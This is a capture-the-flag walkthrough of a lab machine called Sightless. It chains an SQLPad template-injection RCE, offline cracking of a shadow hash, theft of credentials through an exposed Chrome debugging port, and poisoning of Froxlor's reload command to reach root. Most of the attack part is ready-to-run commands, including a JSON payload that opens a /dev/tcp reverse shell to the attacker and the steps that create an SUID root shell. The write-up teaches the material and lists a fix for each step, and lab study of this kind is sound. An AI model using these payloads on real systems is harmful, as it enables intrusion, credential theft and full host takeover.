Sightless
Summary
I scanned $TARGET and found a public nginx site alongside a subdomain hosting SQLPad, a vulnerable Node.js SQL IDE. An unauthenticated server-side template injection flaw (CVE-2022-0944) in SQLPad's connection-test API gave remote code execution inside the application's Docker container as root.
The container's /etc/shadow exposed a password hash for the host account 'michael'; cracking that hash offline gave an SSH foothold on the underlying host. On the host, a Chromium browser ran with its remote-debugging port bound to localhost — reachable over an SSH tunnel.
Connecting to that port exposed a live, authenticated Froxlor web-hosting control-panel session from which admin credentials were extracted via the DevTools console. With Froxlor admin access, the PHP-FPM restart command was replaced with a payload that created an SUID-root copy of bash; triggering a service reload ran the command as root, completing full host compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Some commands also carry a value in angle brackets — <full_michael_shadow_line> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Full TCP scan with service and version detection.
$ nmap -sV -sC -p- --min-rate 5000 $TARGET -oN sightless_full.txtRegister both vhosts for local DNS resolution.
$ echo "$TARGET sightless.htb sqlpad.sightless.htb" | sudo tee -a /etc/hostsConfirm the SQLPad login page and version header are reachable.
$ curl -si http://sqlpad.sightless.htb/ | head -20Exact commands 2
Local listener — start in a separate terminal before sending the payload.
$ nc -lvnp 4444Replace $ATTACKER_IP/4444 with your listener IP and port. A 400 ECONNREFUSED response is normal — the shell fires before the MySQL connection check.
$ curl -s -X POST http://sqlpad.sightless.htb/api/test-connection -H 'Content-Type: application/json' -d '{"driver":"mysql","name":"{{process.mainModule.require(\"child_process\").execSync(\"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\").toString()}}","host":"127.0.0.1","port":3306,"database":"test","username":"root","password":"root"}'FixUpgrade SQLPad and restrict external access to the SQL IDECritical
Exact commands 1
Run from the container root shell. Copy the full $6$ hash line for 'michael' to my machine for offline cracking.
$ cat /etc/shadowFixIsolate Docker container user accounts and secrets from host credentialsHigh
Exact commands 2
Paste the shadow line extracted in step 3.
$ echo '<full_michael_shadow_line>' > michael.hashMode 1800 = sha512crypt ($6$). Substitute -m 3200 if the hash header is $2b$ (bcrypt). The cracked plaintext is printed after the hash in the output.
$ hashcat -m 1800 michael.hash /usr/share/wordlists/rockyou.txt --forceFixEnforce strong, unique passwords and prefer SSH key authenticationHigh
Exact commands 2
Enter the password recovered in step 4 when prompted.
$ ssh michael@$TARGETCapture the user flag: <user.txt>
$ cat /home/michael/user.txtExact commands 2
From michael's SSH session — list all TCP listening sockets; 127.0.0.1:9222 will appear.
$ ss -tlnpConfirm Chromium is running and note the --remote-debugging-port=9222 flag in the process arguments.
$ ps aux | grep -i chromFixRemove the Chrome remote-debugging flag from all production browser processesHigh
Exact commands 3
Forward the remote debug port to my localhost:9222. Run in a background terminal or separate session.
$ ssh -L 9222:127.0.0.1:9222 michael@$TARGET -N &List open browser tabs via the DevTools Protocol to identify the Froxlor tab and its webSocketDebuggerUrl.
$ curl -s http://localhost:9222/json | python3 -m json.toolReads a password stored in the active page. Alternatively inspect network requests or localStorage for session tokens and stored credentials.
$ # In my Chromium: navigate to chrome://inspect → Configure → add localhost:9222 → click Inspect on the Froxlor tab. In the Console: document.querySelectorAll('input[type=password]')[0].valueExact commands 4
Replace the legitimate reload command with the SUID-creation payload.
$ # In Froxlor admin UI: PHP → PHP-FPM versions → Edit the active version → set 'Reload command' to: cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbashFroxlor's root-level daemon executes the poisoned command; /tmp/rootbash is created with the SUID bit set.
$ # In Froxlor UI: click Save, then trigger a PHP-FPM reload (Apply configuration).From michael's SSH session — the SUID bit causes bash to retain the root effective UID. Verify with: id
$ /tmp/rootbash -pCapture the root flag: <root.txt>
$ cat /root/root.txtFixRun Froxlor's service manager unprivileged and lock down admin-configurable shell commandsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 21/tcp | ftp |
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.